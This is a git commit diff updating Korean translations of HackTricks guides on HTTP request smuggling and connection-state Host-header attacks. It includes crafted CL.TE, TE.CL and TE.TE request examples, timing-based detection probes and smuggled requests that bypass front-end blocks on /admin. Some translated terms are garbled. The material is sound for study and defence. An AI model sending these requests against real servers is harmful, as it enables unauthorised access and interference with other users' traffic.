Translated ['pentesting-web/http-connection-request-smuggling.md', 'pent

This commit is contained in:
Translator 2024-03-25 01:50:01 +00:00
parent 7e836dd402
commit 66d498966e
5 changed files with 423 additions and 191 deletions

Binary file not shown.

After

Width:  |  Height:  |  Size: 492 KiB

View file

@ -2,57 +2,54 @@
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>에서 **제로부터 영웅까지 AWS 해킹 배우기**</summary>
* **사이버 보안 회사**에서 일하시나요? **회사를 HackTricks에서 광고**하거나 **PEASS의 최신 버전에 액세스**하거나 HackTricks를 **PDF로 다운로드**하고 싶으신가요? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인해보세요!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견해보세요. 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter**에서 저를 **팔로우**하세요 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **[hacktricks repo](https://github.com/carlospolop/hacktricks)와 [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**에 PR을 제출하여 여러분의 해킹 기법을 공유하세요.
* **사이버 보안 회사**에서 일하시나요? **회사를 HackTricks에서 광고하고 싶으신가요**? 혹은 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인해보세요!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견해보세요, 저희의 독점 [**NFT 컬렉션**](https://opensea.io/collection/the-peass-family)
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **트위터** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **해킹 요령을 공유하고 싶으시다면** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **로 PR을 제출**해주세요.
</details>
**이 글은 [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)의 요약입니다.**
**이 글은 다음 글의 요약입니다** [**https://portswigger.net/research/browser-powered-desync-attacks**](https://portswigger.net/research/browser-powered-desync-attacks)
## 연결 상태 공격 <a href="#state" id="state"></a>
### 첫 번째 요청 유효성 검사
역방향 프록시는 요청을 라우팅할 때 **Host 헤더**를 사용하여 대상 백엔드 서버를 결정할 수 있습니다. 종종 허용된 호스트의 화이트리스트에 의존합니다. 그러나 일부 프록시에서는 화이트리스트가 연결의 초기 요청에서만 적용되는 취약점이 있습니다. 따라서 공격자는 먼저 허용된 호스트로 요청을 보낸 다음 동일한 연결을 통해 내부 사이트를 요청함으로써 이를 악용할 수 있습니다.
```text
요청을 라우팅할 때, 역방향 프록시는 종종 허용된 호스트 목록을 기반으로 대상 백엔드 서버를 결정하기 위해 **Host 헤더**에 의존할 수 있습니다. 그러나 일부 프록시에서는 허용 목록이 연결의 초기 요청에서만 강제되는 취약점이 존재합니다. 결과적으로 공격자는 허용된 호스트로의 첫 번째 요청을 먼저 하고 동일한 연결을 통해 내부 사이트를 요청함으로써 이를 악용할 수 있습니다.
```
GET / HTTP/1.1
Host: [allowed-external-host]
GET / HTTP/1.1
Host: [internal-host]
```
이 취약점은 다행히도 널리 퍼져 있지 않습니다.
### 첫 번째 요청 라우팅
일부 구성에서 프런트엔드 서버는 첫 번째 요청의 **Host 헤더**를 사용하여 해당 요청의 백엔드 라우팅을 결정하고, 그 후에는 동일한 클라이언트 연결에서 모든 후속 요청을 동일한 백엔드 연결로 지속적으로 라우팅할 수 있습니다. 이는 다음과 같이 설명할 수 있습니다:
```text
일부 구성에서 프런트엔드 서버는 첫 번째 요청의 **호스트 헤더**를 사용하여 해당 요청의 백엔드 라우팅을 결정한 후, 동일한 클라이언트 연결에서 이후 모든 요청을 지속적으로 동일한 백엔드 연결로 라우팅할 수 있습니다. 이는 다음과 같이 설명할 수 있습니다:
```
GET / HTTP/1.1
Host: example.com
POST /pwreset HTTP/1.1
Host: psres.net
```
이 문제는 [호스트 헤더 공격](https://portswigger.net/web-security/host-header)과 결합될 수 있으며, 비밀번호 재설정 독촉 또는 [웹 캐시 독촉](https://portswigger.net/web-security/web-cache-poisoning)과 같은 다른 취약점을 악용하거나 추가 가상 호스트에 무단 액세스를 얻을 수 있습니다.
이 문제는 [호스트 헤더 공격](https://portswigger.net/web-security/host-header)과 결합될 수 있으며, 비밀번호 재설정 독려 또는 [웹 캐시 독려](https://portswigger.net/web-security/web-cache-poisoning)와 같은 공격을 통해 다른 취약점을 악용하거나 추가 가상 호스트에 무단 액세스할 수 있습니다.
{% hint style="info" %}
이러한 취약점을 식별하기 위해 HTTP Request Smuggler의 'connection-state probe' 기능을 활용할 수 있습니다.
{% endhint %}
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 제로부터 전문가까지 배우세요!</summary>
* **사이버 보안 회사**에서 일하시나요? **회사를 HackTricks에서 광고**하거나 **PEASS의 최신 버전에 액세스**하거나 HackTricks를 **PDF로 다운로드**하고 싶으신가요? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인해보세요!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견해보세요. 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
* [**공식 PEASS & HackTricks 스그**](https://peass.creator-spring.com)를 얻으세요.
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter**에서 저를 **팔로우**하세요 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **[hacktricks repo](https://github.com/carlospolop/hacktricks)와 [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**에 PR을 제출하여 여러분의 해킹 기법을 공유해주세요.
* **사이버 보안 회사**에서 일하시나요? **HackTricks에서 귀하의 회사를 홍보**하고 싶으신가요? 또는 **PEASS의 최신 버전에 액세스**하거나 HackTricks를 **PDF로 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* [**공식 PEASS & HackTricks 스그**](https://peass.creator-spring.com)를 얻으세요
* **[💬](https://emojipedia.org/speech-balloon/) Discord 그룹**에 가입하거나 [텔레그램 그룹](https://t.me/peass)에 참여하거나 **트위터** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **해킹 요령을 공유하고 PR을 제출하여** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **를 따르세요.**
</details>

View file

@ -2,21 +2,21 @@
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 제로부터 전문가까지 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks를 지원하는 다른 방법:
* **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks를 다운로드하길 원한다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **HackTricks** 및 **HackTricks Cloud** 깃허브 저장소에 **PR을 제출**하여 **해킹 트릭을 공유**하세요.
* **회사를 HackTricks에서 광고하거나 PDF로 HackTricks를 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요**.
* **해킹 요령을 공유하려면 PR을 제출하여** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 제출하세요.
</details>
## 무엇인가요
이 취약점은 **프론트엔드 프록시**와 **백엔드** 서버 간의 **비동기화**로 인해 **공격자**가 **프론트엔드** 프록시(로드 밸런스/리버스 프록시)에 의해 **단일 요청**으로 **해석**되고 **백엔드** 서버에 의해 **2개의 요청**으로 **해석**되는 HTTP **요청**을 **보낼 수 있는** 취약점입니다.\
이 취약점은 **프론트엔드 프록시**와 **백엔드** 서버 간의 **비동기화**로 인해 **공격자**가 **프론트엔드** 프록시(로드 밸런스/리버스 프록시)에 의해 **단일 요청**으로 해석되는 HTTP **요청**을 보낼 수 있게 하는 취약점입니다. 그리고 **백엔드** 서버에 의해 **2개의 요청**으로 해석됩니다.\
이를 통해 사용자는 **자신의 다음 요청을 수정**할 수 있습니다.
### 이론
@ -31,29 +31,29 @@ HackTricks를 지원하는 다른 방법:
**Transfer-Encoding: chunked**
> Transfer-Encoding 헤더는 페이로드 본문을 안전하게 전송하기 위해 사용되는 인코딩 형식을 지정합니다.\
> Chunked는 대량 데이터가 일련의 청크로 전송는 것을 의미합니다.
> Transfer-Encoding 헤더는 페이로드 본문을 안전하게 전송하는 데 사용되는 인코딩 형식을 지정합니다.\
> Chunked는 대량 데이터가 일련의 청크로 전송된다는 것을 의미합니다.
### 현실
**프론트엔드** (로드 밸런스 / 리버스 프록시)는 _**content-length**_ 또는 _**transfer-encoding**_ 헤더를 처리하고 **백엔드** 서버는 **다른 하나를 처리**하여 2개의 시스템 간에 **비동기화**를 유발합니다.\
이는 **공격자가 리버스 프록시에 하나의 요청을 보낼 수 있게 해줍니다**. 이 요청은 **프론트엔드** 서버에 의해 **단일 요청**으로 **해석**되고 **백엔드** 서버에 의해 **2개의 다른 요청**으로 **해석**됩니다. 이 기술의 위험은 **백엔드** 서버가 **주입된 2번째 요청**을 **다음 클라이언트로부터 온 것으로 해석**하고 해당 클라이언트의 **실제 요청**이 **주입된 요청**의 일부가 될 수 있다는 점에 있습니다.
**프론트엔드** (로드 밸런스 / 리버스 프록시)는 _**content-length**_ 또는 _**transfer-encoding**_ 헤더를 처리하고 **백엔드** 서버는 **다른 하나를 처리**하여 두 시스템 간의 **비동기화**를 유발합니다.\
이는 **공격자가 리버스 프록시에 하나의 요청을 보낼 수 있게 해줄 수 있기 때문에 매우 심각**할 수 있습니다. 이 요술의 위험은 **백엔드** 서버가 **주입된 2번째 요청**을 **다음 클라이언트에서 온 것으로 해석**하고 해당 클라이언트의 **실제 요청**이 **주입된 요청**의 일부가 될 수 있다는 점에 있습니다.
### 특이사항
HTTP에서 **새 줄 문자는 2바이트로 구성**된다는 것을 기억하세요:
* **Content-Length**: 이 헤더는 요청의 **바디**의 **바이트 수**를 나타내기 위해 **10진수**를 사용합니다. 바디는 마지막 문자로 끝나야 하며, **요청의 끝에 새 줄이 필요하지 않습니다**.
* **Transfer-Encoding:** 이 헤더는 **다음 청크**의 **바이트 수**를 나타내기 위해 **16진수**를 **바디**에서 사용합니다. **청크**는 **새 줄로 끝나야** 하지만 이 새 줄은 **길이 표시자에 포함되지 않습니다**. 이 전송 방법은 **0 크기의 청크 뒤에 2개의 새 줄이 따라야** 합니다: `0`
* **Connection**: 내 경험에 따르면 요청 스머글링의 첫 요청에 **`Connection: keep-alive`**를 사용하는 것이 좋습니다.
* **Content-Length**: 이 헤더는 요청의 **본문**의 **바이트 수**를 나타내기 위해 **10진수 숫자**를 사용합니다. 본문은 마지막 문자로 끝나야 하며, **요청의 끝에 새 줄이 필요하지 않습니다**.
* **Transfer-Encoding:** 이 헤더는 **다음 청크**의 **바이트 수**를 나타내기 위해 **16진수 숫자**를 **본문**에서 사용합니다. **청크**는 **새 줄로 끝나야** 하지만 이 새 줄은 **길이 표시자에 포함되지 않습니다**. 이 전송 방법은 **0 크기의 청크 뒤에 2개의 새 줄이 따라야** 합니다: `0`
* **Connection**: 내 경험에 따르면 요청 스머글링의 첫 요청에 **`Connection: keep-alive`**를 사용하는 것이 좋습니다.
## 기본 예제
{% hint style="success" %}
Burp Suite를 사용하여 이를 악용하려면 반복기에서 **`Update Content-Length``Normalize HTTP/1 line endings`를 비활성화**하세요. 일부 가젯이 새 줄, 캐리지 리턴 및 형식이 잘못된 content-length 남용하기 때문입니다.
Burp Suite를 사용하여 이를 악용하려면 반복기에서 **`Update Content-Length``Normalize HTTP/1 line endings`를 비활성화**하세요. 일부 가젯이 새 줄, 캐리지 리턴 및 형식이 잘못된 content-length 남용하기 때문입니다.
{% endhint %}
HTTP 요청 스머글링 공격은 프론트엔드와 백엔드 서버가 `Content-Length` (CL) 및 `Transfer-Encoding` (TE) 헤더를 해석하는 방식의 불일치를 악용하는 모호한 요청을 보내어 생성됩니다. 이러한 공격은 주로 **CL.TE**, **TE.CL**, **TE.TE**로 나타니다. 각 유형은 프론트엔드와 백엔드 서버가 이러한 헤더를 우선순위에 따라 처리하는 독특한 조합을 나타냅니다. 서버가 동일한 요청을 다른 방식으로 처리하여 예상치 못한 악의적 결과를 초래하는 취약점이 발생합니다.
HTTP 요청 스머글링 공격은 프론트엔드와 백엔드 서버가 `Content-Length` (CL) 및 `Transfer-Encoding` (TE) 헤더를 해석하는 방식의 불일치를 악용하는 모호한 요청을 보내어 생성됩니다. 이러한 공격은 주로 **CL.TE**, **TE.CL**, **TE.TE**로 나타날 수 있습니다. 각 유형은 프론트엔드와 백엔드 서버가 이러한 헤더를 우선순위에 따라 처리하는 독특한 조합을 나타냅니다. 서버가 동일한 요청을 다른 방식으로 처리하여 예상치 못한 악의적 결과를 초래하는 취약점이 발생합니다.
### 취약점 유형의 기본 예제
@ -64,9 +64,9 @@ HTTP 요청 스머글링 공격은 프론트엔드와 백엔드 서버가 `Conte
* **프론트엔드 (CL):** `Content-Length` 헤더를 기반으로 요청을 처리합니다.
* **백엔드 (TE):** `Transfer-Encoding` 헤더를 기반으로 요청을 처리합니다.
* **공격 시나리오:**
* 공격자가 `Content-Length` 헤더 값이 실제 콘텐츠 길이와 일치하지 않는 요청을 보냅니다.
* 공격자가 `Content-Length` 헤더 값이 실제 콘텐츠 길이와 일치하지 않는 요청을 보냅니다.
* 프론트엔드 서버는 `Content-Length` 값에 따라 전체 요청을 백엔드로 전달합니다.
* 백엔드 서버는 `Transfer-Encoding: chunked` 헤더로 청크 처리를 하여 남은 데이터를 별도의 후속 요청으로 해석합니다.
* 백엔드 서버는 `Transfer-Encoding: chunked` 헤더로 요청을 청크로 처리하여 나머지 데이터를 별도의 후속 요청으로 해석합니다.
* **예시:**
```
@ -87,9 +87,9 @@ Foo: x
* **프론트엔드 (TE):** `Transfer-Encoding` 헤더를 기반으로 요청을 처리합니다.
* **백엔드 (CL):** `Content-Length` 헤더를 기반으로 요청을 처리합니다.
* **공격 시나리오:**
* 공격자가 청크 요청을 보내어 청크 크기 (`7b`)와 실제 콘텐츠 길이 (`Content-Length: 4`)가 일치하지 않도록 합니다.
* 공격자가 청크 요청을 보내어 청크 크기 (`7b`)와 실제 콘텐츠 길이 (`Content-Length: 4`)가 일치하지 않니다.
* 프론트엔드 서버는 `Transfer-Encoding`을 준수하여 전체 요청을 백엔드로 전달합니다.
* 백엔드 서버는 `Content-Length`를 존중하여 요청의 초기 부분만 처리하고 나머지 의도하지 않은 후속 요청의 일부로 남깁니다.
* 백엔드 서버는 `Content-Length`를 존중하여 요청의 초기 부분만 처리하고 나머지 의도하지 않은 후속 요청의 일부로 남깁니다.
* **예시:**
```
@ -109,13 +109,13 @@ x=
0
```
#### TE.TE 취약점 (양쪽 모두 사용하는 Transfer-Encoding, 난독화 포함)
#### TE.TE 취약점 (양쪽 모두에서 사용되는 Transfer-Encoding, 난독화 포함)
* **서버:** 둘 다 `Transfer-Encoding`을 지원하지만, 난독화를 통해 하나의 서버가 이를 무시하도록 속일 수 있음.
* **서버:** 두 서버 모두 `Transfer-Encoding`을 지원하지만, 난독화를 통해 하나의 서버가 이를 무시하도록 속일 수 있음.
* **공격 시나리오:**
* 공격자가 난독화된 `Transfer-Encoding` 헤더를 포함한 요청을 보냄.
* 어떤 서버(프론트엔드 또는 백엔드)가 난독화를 인식하지 못하면 CL.TE 또는 TE.CL 취약점을 악용할 수 있음.
* 요청의 처리되지 않은 부분이 서버 중 하나에 의해 본 후속 요청의 일부가 되어 스머글링이 발생함.
* 어떤 서버(프론트엔드 또는 백엔드)가 난독화를 인식하지 못하는지에 따라 CL.TE 또는 TE.CL 취약점이 악용될 수 있음.
* 한 서버에서 보이는 처리되지 않은 요청 부분이 후속 요청의 일부가 되어 스머글링이 발생함.
* **예시:**
```
@ -135,10 +135,10 @@ Transfer-Encoding
: chunked
```
#### **CL.CL 시나리오 (Front-End와 Back-End 모두에서 사용하는 Content-Length):**
#### **CL.CL 시나리오 (프론트엔드와 백엔드 모두에서 사용되는 Content-Length):**
* 두 서버 모두 요청을 오로지 `Content-Length` 헤더를 기반으로 처리함.
* 이 시나리오는 일반적으로 서버가 요청 길이를 해석하는 방식에 일치하므로 스머글링으로 이어지지 않음.
* 두 서버 요청을 오로지 `Content-Length` 헤더를 기반으로 처리함.
* 이 시나리오는 일반적으로 서버가 요청 길이를 해석하는 방식에 일치함으로써 스머글링으로 이어지지 않음.
* **예시:**
```
@ -167,10 +167,16 @@ Connection: keep-alive
#### hop-by-hop 헤더를 통한 강제
hop-by-hop 헤더를 남용하여 프록시에게 **Content-Length 또는 Transfer-Encoding 헤더를 삭제하도록 지시하여 HTTP 요청 스머글링을 악용할 수 있음**.
hop-by-hop 헤더를 남용하여 프록시에게 **Content-Length 또는 Transfer-Encoding 헤더를 삭제하도록 지시**하여 HTTP 요청 스머글링을 악용할 수 있음.
```
Connection: Content-Length
```
**더 많은 hop-by-hop 헤더에 대한 정보를 원하시면** 방문하세요:
{% content-ref url="../abusing-hop-by-hop-headers.md" %}
[abusing-hop-by-hop-headers.md](../abusing-hop-by-hop-headers.md)
{% endcontent-ref %}
## HTTP 요청 스머글링 찾기
HTTP 요청 스머글링 취약점을 식별하는 것은 종종 서버가 조작된 요청에 응답하는 데 얼마나 오랜 시간이 걸리는지 관찰하는 타이밍 기술을 사용하여 달성할 수 있습니다. 이러한 기술은 CL.TE 및 TE.CL 취약점을 감지하는 데 특히 유용합니다. 이러한 방법 외에도 이러한 취약점을 찾는 데 사용할 수 있는 다른 전략과 도구가 있습니다:
@ -178,7 +184,7 @@ HTTP 요청 스머글링 취약점을 식별하는 것은 종종 서버가 조
### 타이밍 기술을 사용하여 CL.TE 취약점 찾기
* **방법:**
* 취약한 애플리케이션의 경우 추가 데이터를 기다리도록 만들 수 있는 요청을 보냅니다.
* 취약한 애플리케이션의 경우 추가 데이터를 기다리도록는 요청을 보냅니다.
* **예시:**
```
@ -194,15 +200,15 @@ A
```
* **관찰:**
* 프론트엔드 서버는 `Content-Length`를 기반으로 요청을 처리하고 메시지를 일찍 잘라냅니다.
* 청엔드 서버는 청크 메시지를 기대하고 도착하지 않는 다음 청크를 기다리면서 지연이 발생합니다.
* 청 서버는 청크 메시지를 기대하고 도착하지 않는 다음 청크를 기다리면서 지연이 발생합니다.
* **지표:**
* 응답 시 타임아웃 또는 긴 지연.
* 응답 시 타임아웃 또는 긴 대기 시간.
* 백엔드 서버로부터 400 Bad Request 오류 수신, 때로는 자세한 서버 정보와 함께.
### 타이밍 기술을 사용하여 TE.CL 취약점 찾기
* **방법:**
* 취약한 애플리케이션의 경우 추가 데이터를 기다리도록 만들 수 있는 요청을 보냅니다.
* 취약한 애플리케이션의 경우 추가 데이터를 기다리도록는 요청을 보냅니다.
* **예시:**
```
@ -219,30 +225,40 @@ X
* 프론트엔드 서버는 `Transfer-Encoding`을 기반으로 요청을 처리하고 전체 메시지를 전달합니다.
* 백엔드 서버는 `Content-Length`를 기반으로 한 메시지를 기대하고 도착하지 않는 추가 데이터를 기다리면서 지연이 발생합니다.
### 취약점 찾기 위한 다른 방법
### 다른 취약점 찾기 방법
* **차이점 응답 분석:**
* **차별화된 응답 분석:**
* 요청의 약간 다른 버전을 보내고 서버 응답이 예상치 않은 방식으로 다른지 관찰하여 구문 분석 불일치를 나타내는지 확인합니다.
* **자동화된 도구 사용:**
* Burp Suite의 'HTTP Request Smuggler' 확장 프로그램과 같은 도구를 사용하여 모호한 요청의 다양한 형태를 보내고 응답을 분석하여 이러한 취약점을 자동으로 테스트할 수 있습니다.
* **Content-Length 변이 테스트:**
* 실제 콘텐츠 길이와 일치하지 않는 다양한 `Content-Length` 값을 가진 요청을 보내고 서버가 이러한 불일치를 처리하는 방식을 관찰합니다.
* **Transfer-Encoding 변이 테스트:**
* 왜곡되거나 잘못된 `Transfer-Encoding` 헤더를 가진 요청을 보내고 프론트엔드 및 백엔드 서버가 이러한 조작에 대해 어떻게 다르게 응답하는지 모니터링합니다.
* 왜곡되거나 잘못된 `Transfer-Encoding` 헤더를 가진 요청을 보내고 프론트엔드 및 백엔드 서버가 이러한 조작에 어떻게 다르게 응답하는지 모니터링합니다.
### HTTP 요청 스머글링 취약점 테스트
타이밍 기술의 효과를 확인한 후, 클라이언트 요청이 조작될 수 있는지 확인하는 것이 중요합니다. 간단한 방법은 예를 들어 `/`로 요청을 보내어 404 응답을 유도하는 것입니다. 이전에 설명한 `CL.TE``TE.CL` 예제는 클라이언트의 요청을 독려하여 다른 리소스에 액세스하려는 클라이언트의 요청을 유도하는 방법을 보여줍니다.
타이밍 기술의 효과를 확인한 후, 클라이언트 요청이 조작될 수 있는지 확인하는 것이 중요합니다. 간단한 방법은 예를 들어 `/`로 요청을 보내어 404 응답을 유도하는 것입니다. [기본 예제](./#basic-examples)에서 이전에 논의된 `CL.TE``TE.CL` 예제는 클라이언트의 요청을 독려하여 404 응답을 유도하는 방법을 보여줍니다.
**주요 고려 사항**
다른 요청에 간섭하여 요청 스머글링 취약점을 테스트할 때 다음을 염두에 두세요:
* **구된 네트워크 연결:** "공격" 및 "정상" 요청은 별도의 네트워크 연결을 통해 전송되어야 합니다. 두 요청에 동일한 연결을 사용하는 것은 취약점의 존재를 확인하지 않습니다.
* **구된 네트워크 연결:** "공격" 및 "정상" 요청은 별도의 네트워크 연결을 통해 전송되어야 합니다. 두 요청에 동일한 연결을 사용하는 것은 취약점의 존재를 확인하지 않습니다.
* **일관된 URL 및 매개변수:** 두 요청에 대해 동일한 URL 및 매개변수 이름을 사용하려고 노력하세요. 현대 애플리케이션은 URL 및 매개변수를 기반으로 특정 백엔드 서버로 요청을 라우팅하는 경우가 많습니다. 이를 일치시키면 두 요청이 동일한 서버에서 처리되는 가능성이 높아지며, 성공적인 공격을 위한 전제 조건이 됩니다.
* **타이밍 및 경주 조건:** "공격" 요청으로부터의 간섭을 감지하려는 "정상" 요청은 다른 동시 애플리케이션 요청과 경쟁합니다. 따라서 "공격" 요청을 바로 뒤이어 "정상" 요청을 보내야 합니다. 바쁜 애플리케이션은 결정적인 취약점 확인을 위해 여러 번의 시도가 필요할 수 있습니다.
* **부하 분산 도전:** 부하 분산기로 작동하는 프론트엔드 서버는 요청을 여러 백엔드 시스템에 분산할 수 있습니다. "공격" 및 "정상" 요청이 다른 시스템에 도달하면 공격이 성공하지 않을 수 있습니다. 이 부하 분산 측면은 취약점을 확인하기 위해 여러 번의 시도가 필요할 수 있습니다.
* **의도하지 않은 사용자 영향:** 공격이 다른 사용자의 요청에 영향을 미친 경우 (감지를 위해 보낸 "정상" 요청이 아닌 경우) 공격이 다른 애플리케이션 사용자에게 영향을 미친 것을 나타냅니다. 계속해서 테스트를 수행하면 다른 사용자를 방해할 수 있으므로 신중한 접근이 필요합니다.
* **타이밍 및 경주 조건:** "공격" 요청으로부터의 간섭을 감지하려는 "정상" 요청은 다른 동시 애플리케이션 요청과 경쟁합니다. 따라서 "공격" 요청을 바로 다음에 "정상" 요청을 보내세요. 바쁜 애플리케이션은 결정적인 취약점 확인을 위해 여러 번의 시도가 필요할 수 있습니다.
* **부하 분산 도전:** 부하 분산기로 작동하는 프론트엔드 서버는 요청을 여러 백엔드 시스템으로 분산할 수 있습니다. "공격" 및 "정상" 요청이 다른 시스템에 도달하면 공격이 성공하지 않습니다. 이 부하 분산 측면은 취약점을 확인하기 위해 여러 번의 시도가 필요할 수 있습니다.
* **의도하지 않은 사용자 영향:** 공격이 다른 사용자의 요청에 영향을 미친다면 (감지를 위해 보낸 "정상" 요청이 아닌 다른 사용자의 요청), 이는 공격이 다른 애플리케이션 사용자에게 영향을 미쳤음을 나타냅니다. 계속해서 테스트를 수행하면 다른 사용자를 방해할 수 있으므로 신중한 접근이 필요합니다.
## HTTP 요청 스머글링 남용
### HTTP 요청 스머글링을 통한 프론트엔드 보안 우회
가끔 프론트엔드 프록시는 수신되는 요청을 검토하여 보안 조치를 시행합니다. 그러나 HTTP 요청 스머글링을 악용함으로써 이러한 조치를 우회할 수 있어서 제한된 엔드포인트에 무단으로 액세스할 수 있습니다. 예를 들어, `/admin`에 액세스하는 것이 외부에서 금지되어 있을 수 있으며, 프론트엔드 프록시가 이러한 시도를 차단할 수 있습니다. 그러나 이 프록시는 스며든 HTTP 요청 내에 포함된 요청을 검사하지 않을 수 있어서 이러한 제한을 우회할 수 있는 구멍을 남겨둘 수 있습니다.
다음 예시를 통해 HTTP 요청 스머글링을 사용하여 프론트엔드 보안 제어를 우회하는 방법을 설명하는 예시를 살펴보겠습니다, 특히 프론트엔드 프록시가 일반적으로 보호되는 `/admin` 경로를 대상으로 하는 경우:
**CL.TE 예시**
```
POST / HTTP/1.1
Host: [redacted].web-security-academy.net
@ -259,7 +275,7 @@ Content-Length: 10
x=
```
CL.TE 공격에서는 초기 요청에 `Content-Length` 헤더를 활용하고, 이어지는 내장 요청에는 `Transfer-Encoding: chunked` 헤더를 사용합니다. 프론트엔드 프록시는 초기 `POST` 요청을 처리하지만 내장된 `GET /admin` 요청을 검사하지 못하여 `/admin` 경로로의 무단 액세스를 허용합니다.
CL.TE 공격에서는 초기 요청에 `Content-Length` 헤더가 활용되며, 이어지는 내장 요청에는 `Transfer-Encoding: chunked` 헤더가 사용됩니다. 프론트엔드 프록시는 초기 `POST` 요청을 처리하지만 내장된 `GET /admin` 요청을 검사하지 못하여 `/admin` 경로로의 무단 액세스를 허용합니다.
**TE.CL 예시**
```
@ -277,11 +293,11 @@ a=x
0
```
반면에 TE.CL 공격에서 초기 `POST` 요청은 `Transfer-Encoding: chunked`를 사용하며, 이후 포함된 요청은 `Content-Length` 헤더를 기반으로 처리됩니다. CL.TE 공격과 유사하게, 프론트엔드 프록시는 숨겨진 `GET /admin` 요청을 간과하여 제한된 `/admin` 경로에 액세스 권한을 부여합니다.
반면에, TE.CL 공격에서 초기 `POST` 요청은 `Transfer-Encoding: chunked`를 사용하며, 이후 포함된 임베디드 요청은 `Content-Length` 헤더를 기반으로 처리됩니다. CL.TE 공격과 유사하게, 프론트엔드 프록시는 숨겨진 `GET /admin` 요청을 간과하여 제한된 `/admin` 경로에 액세스 권한을 부여합니다.
### 프론트엔드 요청 재작성 공개 <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
### 프론트엔드 요청 수정 공개 <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
응용 프로그램은 종종 **프론트엔드 서버**를 사용하여 백엔드 서버로 전달하기 전에 들어오는 요청을 수정합니다. 전형적인 수정 사항은 `X-Forwarded-For: <클라이언트의 IP>`와 같은 헤더를 추가하여 클라이언트의 IP를 백엔드로 전달하는 것입니다. 이러한 수정 사항을 이해하는 것은 **보호 장치 우회** 또는 **숨겨진 정보나 엔드포인트 발견** 방법을 밝혀낼 수 있기 때문에 중요할 수 있습니다.
